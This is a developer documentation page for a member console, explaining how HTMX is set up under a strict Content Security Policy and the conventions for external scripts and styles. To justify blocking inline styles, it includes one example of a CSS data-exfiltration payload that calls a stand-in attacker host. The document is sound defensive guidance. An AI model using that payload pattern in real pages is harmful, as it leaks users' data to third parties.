Files
member-console/docs/htmx-setup.md
T
cgalo5758 9ff516ba95 Introduce the forms library and migrate all forms
Every form on both surfaces is now a declared FormSpec in
internal/forms, rendered through the shared form part and parsed
by its handler through the same declaration. Create and edit
share one field list, refusals answer 422 with values carried
back, and layout, buttons and errors come from one part.

Also adds the form registry with its invariant and route-mapping
tests, the raw-form, filler-copy and Go em-dash lint rules,
declared action triggers, and the capture-coverage cross-check.
The forms-library change is archived under
openspec/changes/archive/2026-09-05-forms-library.
2026-09-05 03:16:45 -05:00

95 lines
5.2 KiB
Markdown

---
title: "HTMX Setup"
audience: [developer]
summary: "How HTMX is integrated under a strict CSP, and the conventions for adding external JS and CSS to HTMX partials."
---
# HTMX Setup
This document describes how the member-console uses HTMX and how its configuration interacts with the Content Security Policy (CSP).
## Overview
The member-console uses [HTMX](https://htmx.org/) for dynamic UI updates without full page reloads. All interactive sections (operator tabs, site management, workspace switching) use the **HTMX partial pattern**: the server renders HTML fragments that HTMX swaps into the DOM.
### Version
HTMX is vendored as a static asset at `internal/embeds/static/htmx.min.js` (currently v4.0.0; upgraded from v2.0.4 in 10k.3). The migration is complete: no `htmx-2-compat` shim, no `implicitInheritance` flag, and lint fails htmx 2 residue (`hx-disinherit`, camelCase event names, compat references). Attribute inheritance is explicit: only the page shells mark `hx-boost:inherited` and the CSRF `hx-headers:inherited`; everything else declares its own attributes (see `design-system.md` §7).
### Loading
HTMX is loaded via a `<script defer>` tag in the page templates (`operator.html`, `index.html`, `products.html`, `billing.html`). The `defer` attribute ensures it loads after the DOM is parsed.
## CSP Configuration
The CSP is defined in `internal/middleware/security.go` and is intentionally strict to protect against XSS. The app handles OIDC authentication, member billing, entitlements, and operator-level admin — all high-value targets for injection attacks.
### Relevant CSP Directives
```
script-src 'self' https://unpkg.com/htmx.org@*
style-src 'self'
```
- **`script-src`**: Allows scripts from our own origin and HTMX from unpkg (fallback). Since HTMX is vendored locally, the unpkg allowance is defensive.
- **`style-src`**: Only allows styles from external `.css` files served by our origin. Inline `<style>` tags and `element.style.*` assignments are blocked.
### Why No `'unsafe-inline'`
Adding `'unsafe-inline'` to `script-src` would defeat most XSS protection. For `style-src`, it's less dangerous but still enables CSS-based data exfiltration attacks. We avoid both to maintain defense-in-depth.
## HTMX + CSP Interaction
HTMX has two behaviors that conflict with a strict `style-src 'self'` policy:
### 1. Indicator Styles (Solved)
htmx 4 delivers its default `.htmx-indicator` CSS through Constructable Stylesheets rather than an injected inline `<style>` tag (which is what used to violate `style-src 'self'` in htmx 2). We still disable it so `app.css` remains the single source of indicator styling:
```html
<meta name="htmx-config" content='{"includeIndicatorCSS": false, "noSwap": [204, 304, 403, "5xx"]}'>
```
(The `noSwap` list is the error-response swap contract; see `design-system.md` §7.)
The equivalent indicator styles are provided in `internal/embeds/static/app.css`:
```css
.htmx-indicator { display: none; }
.htmx-request .htmx-indicator { display: inline-block; }
.htmx-request.htmx-indicator { display: inline-block; }
```
This gives us full control over indicator styling without any CSP violation.
### 2. Swap Transitions (Accepted)
htmx 4 animates swaps through the View Transitions API, which is disabled by default (`htmx.config.transitions = false`) and stays disabled here — content appears instantly, which is also what the deterministic screen captures rely on.
**Why not `'unsafe-inline'` for styles?** While less risky than `'unsafe-inline'` on `script-src`, it still enables CSS-based exfiltration (e.g., `background: url(attacker.com/steal?data=...)`). Nothing in the current setup needs it.
## External JavaScript
All JavaScript must be in external `.js` files under `internal/embeds/static/` to comply with CSP. Never add inline `<script>` tags to templates — they will be silently blocked.
Current external scripts (a representative sample, not exhaustive; see `internal/embeds/static/`):
- `error-handler.js` — HTMX error handling and toast notifications
- `confirm-action-modal.js` — the shared confirm dialog every destructive action opens through (`docs/design-system.md` "Confirm modal")
When adding new interactive behavior to HTMX partials, follow this pattern:
1. Create a new `.js` file in `internal/embeds/static/`
2. Add a `<script defer>` tag to the relevant page template
3. If the script manipulates elements inside HTMX partials, listen for `htmx:after:swap` (or use `htmx.onLoad`) to re-initialize after swaps; htmx 4 event names are colon-separated (`htmx:phase:action`)
## Static Asset Authentication
Static assets under `/static/` are exempted from authentication middleware (`internal/auth/auth.go`). This is necessary because:
- Static assets are public resources (CSS, JS, images, icons)
- Some browser fetches (e.g., `<link rel="manifest">`) use CORS mode with `credentials: 'omit'`, meaning session cookies are not sent
- Without the exemption, unauthenticated static requests would be redirected to the OIDC login flow
## External CSS
All custom styles are in `internal/embeds/static/app.css`. This file consolidates styles that were previously inline `<style>` blocks in the page templates. When adding new styles, add them to this file rather than creating inline styles.